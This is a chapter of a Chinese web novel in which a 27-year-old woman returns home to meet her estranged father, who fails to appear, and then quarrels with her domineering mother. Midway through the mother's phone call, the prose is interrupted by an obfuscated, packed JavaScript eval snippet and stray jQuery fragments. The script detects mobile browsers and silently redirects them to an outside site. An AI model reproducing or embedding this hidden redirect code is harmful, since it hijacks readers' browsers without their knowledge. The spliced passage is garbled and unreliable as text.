周末清晨，天刚蒙蒙亮，雪城还未完全苏醒，空气里弥散着一层微凉的薄雾。


    罗芝从机场出来，拎着一个小型手提箱，坐进了网约车。


    窗外缓缓倒退的街景熟悉又陌生，老城区的建筑斑驳剥落，但街道走向没变，电线杆斜斜地立在路边，那是她儿时无数次走过的路。


    厂区的牌子早就拆了，空地盖上了连锁商场，车厢里一片安静，司机没说话，她也没有开口。


    她知道这趟回来，是自己迈出了很大的一步，这一步需要决心，也需要勇气。


    她捏着手机屏幕，屏幕上还停留着昨天发出的那一条微信：


    “爸爸，这周末我想回一趟雪城，咱们能见个面吗？”


    这么多年来，这是她第一次主动联系父亲。


    自从几年前，她收到父亲突如其来的一句：“我结婚了！”的信息后，父女俩便再未有任何真正意义上的交流。


    她至今还记得那个瞬间——紧握手机，盯着那四个字，忘了眨眼，表情空白，好像不认得中文。


    “……啊。”她根本不知道该回什么，竟然愣愣地回了一句：“挺好的……恭喜。”


    父亲很快甩过来一张结婚证的照片，罗芝不想点开看大图，但手指比脑子先一步做出了回应。


    照片里的父亲比记忆中更胖，脸部松弛，眼袋浮肿，发线后移，头发几乎全白。但那双浓眉依旧硬朗，脸型方方正正，被红底布景一衬，竟有种说不出的精神劲儿，竟比她印象中还年轻几岁。


    结婚都是快乐的，没人登记拍照的时候会哭丧个脸，缅怀过去，但罗芝放大了照片，久久地盯着父亲的脸，想从他的眼睛里窥出一点不同寻常的蛛丝马迹。


    他在想什么呢，会想起我妈和我吗？


    他曾经有没有哪怕一个瞬间，也有话想跟我说？在变故还没发生的时候，在一切还没不可挽回的时候，在……很久很久之前。


    父亲难得主动，连发很多条信息，大多是介绍女方的情况。


    “她姓徐，在商场做柜台，比我小五六岁，之前也结过婚。工作虽然一般，但人比较实诚，脾气也好，属于温柔朴实那一类的。”


    照片里那个女人站在父亲旁边，长发披肩，笑容腼腆。


    罗芝没有多看一眼。


    她也许该问问这个女人有孩子吗，这才是最跟她利益相关的问题。


    但她的注意力绊在“温柔朴实”四个字上，久久不能回神。


    话里话外，就是说她母亲尖锐强势，无论言行举止，都跟温柔朴实相距甚远，毫无关联。


    消息还在跳出来，一张张照片，一行行字，弹进她的手机，难为他一个用不惯智能手机的中年男人，能对着屏幕打下那么多字。


    男人至死是少年，父亲都五十多岁了，还能沉溺于新婚的甜蜜，毫不顾忌地炫耀自己的幸福，好像罗芝才是那个不合时宜的不速之客，被拖进一场无关的热闹，又在热闹里变得多余和扫兴。


    罗芝努力绷住情绪，僵硬地说：“挺好的，挺好的，你开心就好。”


    一转眼，几年过去了。


    后来父亲通知自己“再次结婚了”，这次换了个姓王的，家里务农，具体做什么工作罗芝懒得追问，只问他为何才过两年又要离婚？他说不清楚，随即烦躁恼怒，教训了罗芝一句：“大人的事情，小孩子少插嘴。”


    对，我就是那个二十七岁的小孩子，罗芝觉得好笑。


    她一直明白，正是因为父爱的缺失，她才总想抓住某种踏实感，渴望一种牢靠的、安全的存在。


    但这次不一样，那个小小的安全屋让她意识到，自己是可以掌握人生的主动权的，她有底气，也有能力。


    “我想跟你见一面。”


    她不能总这么拧巴，如果工作中她能主动出击，那生活中也一定能。


    “当年你跟妈妈之间到底发生了什么，我有权利知情。”


    她付了钱，从车上下来，眼前是她选的包子铺，地点在老厂区的边缘，门头褪色，暗红的木格窗爬着细密裂缝，她上小学那会儿，如果爸爸没空接她回家吃饭，就会塞给她一块钱，让她来这里买两个包子垫垫肚子。


    店面门口挂着几盏老旧的黄灯笼，风一吹，就过了二十多年。


    罗芝选了靠窗的桌子坐下，点了两碗粥和一碟小菜，这个位置能看见外面街道的熙来攘往，也能让进门的人第一眼就看到她。


    她穿着一件烟灰色风衣，剪裁利落，线条干净，脚上是浅棕色短靴，头发束成低马尾，发绳上系着一颗珍珠，她挑了很久，终于选出这么一套穿搭，显得简洁得体，带着一点点正式和用心，又不至于让人察觉出她特别重视。


    时间到了，父亲没有出现。


    但罗芝坐着不动，即便与周围的环境格格不入，她也依旧静静坐着，耐心等着。


    也许是堵车，也许是临时有事，这些年父亲情绪无常，做事全凭心意，毫无章法，有时临时起意要做干点什么，原本承诺的事就可以立刻推翻。


    无所谓了，罗芝想，我已经等了很多很多年，不差这几分钟。


    我来这里，就是想亲眼见见，亲耳听听，听他说曾经到底发生过什么，说这些年是怎么过来的，罗芝知道他不是神坛上的父亲，但她也不是个只能听大人说话的小孩了。


    她不想再从任何别人的口中拼凑关于自己父亲的剪影——尤其是从母亲口中。


    这些年，母亲说的已经够多了。


    母亲说他活该，说他目光短浅，刚愎自用，早年靠着一点运气被上头提拔，便得意忘形，自以为是，很快丧失了对局势基本的判断——一年后，国企改革政策如密雨落地，他屁股都没坐热，黑锅就一口接一口砸下来，而他自然是那个被推到风口浪尖的靶子。


    “谁会那么容易升上去？若真容易，必有猫腻，爬得越快，摔得越惨。”母亲冷哼一声，像在看戏。


    母亲说他为人并不正直，坐上高位后夜夜应酬，花天酒地，烟酒不离，男人有钱就变坏，至于具体能怎么坏，能坏在什么地方？——对待婚姻不忠，男女关系混乱，几番试图搞大事业却投资失败，甚至要去借高利贷……大约都是些翻不出花样的老套路子，烂得不能再烂。


    母亲说他性情大变，喜怒无常，说他报应不爽，罪有应得，她还说……


    可这些年，从来只有她在说。


    罗芝从小到大，关于父亲的全部认知都是二手的，全部的印象都来自于母亲的加工，无论是好是坏，全都是母亲在说。


    这不公平。


    她27岁了，想要了解自己的父亲，想和他坐下来，真正聊一次天，她要靠自己去判断，她有能力分辨真假，也有资格亲自去听一听。


    天色渐暗，包子铺打烊，东头的烧烤摊却架了起来，炭火微红，炊烟里混着孜然的味道，罗芝的手机屏幕亮了又灭，灭了又亮，却始终没有等来一条信息或一个电话。


    父亲没有来。


    晚上，罗芝拎着两袋外卖回了家，一手是热气腾腾的包子，一手是炸得酥香的鸡翅和薯条。


    她站在门口换鞋，头发被夜风吹得微微散乱：“妈，你想吃包子还是炸鸡？”


    母亲从沙发上抬起头，电视里的抗战剧正打得激烈，她的脸却比屏幕更冷：“哟，还知道回来啊？我以为你认了亲爹，就不记得有娘了呢。”


    语气里带着刺，像一把藏在棉花里的刀，不动声色地扎过来。


    罗芝站住了，指尖还沾着炸鸡袋上的油痕，她没有反驳，也没有逃避，一双杏眼不闪不躲，冷静地看着母亲。


    对方却恼怒了，撑着沙发直起身：“怎么，还敢跟我瞪起眼来了是吧，我含辛茹苦养育你这么多年，你一朝听了别人的几句歪话，就胳膊肘往外拐了？那你还回来干什么！？”


    罗芝叹了口气。


    她是三个小时前才告诉母亲自己回了雪城的，可想而知，这种先斩后奏的做法自然是激怒了她。


    她在电话里劈头盖脸就开始责问：“为什么不提前告诉我？”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15484611|167756||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    罗芝当时还坐在包子铺里，声音沙哑：“我周末不上班，坐飞机总共两小时不到，来回都不耽误。”


    “这是耽不耽误的问题吗？”母亲火气直冲头顶：“你现在能耐了，有出息了，连个招呼都不用打了？”


    她向来情绪直接，从不遮掩自己的愤怒，每次发火都像狂风骤雨，逼得罗芝下意识赶快自我检讨，看看哪里又做错了。


    但今天罗芝累了，她等了一天，腿脚酸痛，她知道自己等不来人。


    听着电话那头日复一日的责问，她突然开始好奇：除了检讨自己，我还有没有什么别的办法来处理？


    ——当然有啊。


    “你为什么生气？”罗芝平静地开口：“是因为我回雪城没提前通知你，还是因为你猜到了，你最担心的事情就要发生了——我要去见我爸？”


    对面沉默了片刻，接着便是一阵更猛烈的怒吼：“你真去见他了？有什么好见的！恶心不恶心？！”


    “他是我爸，我为什么不能见呢，妈妈？”罗芝一字一顿地说：“你告诉我一个我不能见他的理由，行吗？”


    -


    罗芝站在门口，与沙发上的母亲对峙。


    她们在电话里不欢而散，而后罗芝三个小时后才回来，母亲心中一口恶气堵了三个小时，却无处发泄，现在看到女儿站在门口，神情寡淡，竟全然没有愧疚，她心中怒火更深，却又在愤怒之中，生出一种微弱的慌张。


    “我说了不准去找他，你为什么不听？！”她脸色难看，气得发哑：“你念了这么多年书，竟还这么不知好歹，难道学都白上了吗！”


    罗芝淡淡地说：“你能不能先把情绪放一放，我们好好说说话？”


    然而这句话彻底点燃了母亲的怒火：“情绪？你知道我这二十年独自压下了多少情绪，你知道他做过多少伤天害理的事？我就是把你养的太顺了，连一点挫折都没经历过，才让你成了现在这幅白眼狼的模样，一点都不懂得感激！”


    罗芝闭了闭眼，那张被恶意p成裸体的车模照片又在眼前划过。


    的确，我从小活在母亲的羽翼下，她一直用行动庇护我，也不断用言语羞辱和伤害我，直到今天，我都不知道该用何种姿态面对她。


    她干巴巴地重复道：“我太顺了，都没有遇到过挫折。”


    “所以你不懂得感激！”母亲声音发抖，“所以你根本不知道谁为你承担了什么！你根本看不到别人的付出！！”


    “这你就错了，妈妈，我可太看得到了，我就差被你扒着眼皮看了，”罗芝轻轻笑起来，“你为这个家做出的努力和牺牲，你付出的辛劳，你每天都在念，无休无止地念叨，生怕我忘记，生怕我不觉得愧对你……”


    她声音越来越轻：“但你念的太多了，我有点愧疚不动了，妈妈，我以前回雪城，肯定都要跟你商量的……可我现在忽然意识到，为什么呢，我为什么一定要跟你商量呢？”


    她认真地问，声音越轻，听上去却越让人心惊。


    “我弱小的时候，你竭尽所能地PUA我，怎么现在你也会紧张，也会害怕吗？”


    “你也知道我已经长大了，不那么听话，也不再轻易受你控制了……妈妈，你也会有做梦梦醒的一天吗？”


    “罗芝，你！！你在说什么？！”母亲震怒，却一时说不出话。


    “好了。”罗芝忽然站起身，把手里那袋炸鸡提了起来，“小月的女儿喜欢吃炸鸡，我给她送过去。”


    她的动作干脆决绝，转身就走。


    妈妈气炸了：“罗芝！你给我回来！！”


    然而罗芝直接走了。


    母亲气得脸发白，拍着扶手想骂，突然没了力气，整个人瘫坐回沙发里，指甲掐着掌心，脸色灰白。


    她怎么也想不明白，罗芝小时候明明很乖巧，怎么现在如此叛逆张狂？


    心中的恐慌潮水一样蔓延开来，而眼前飘着唯一的浮木，她越想握紧越抓不住，猛一使劲，掌心只剩下一片片冰冷的碎屑。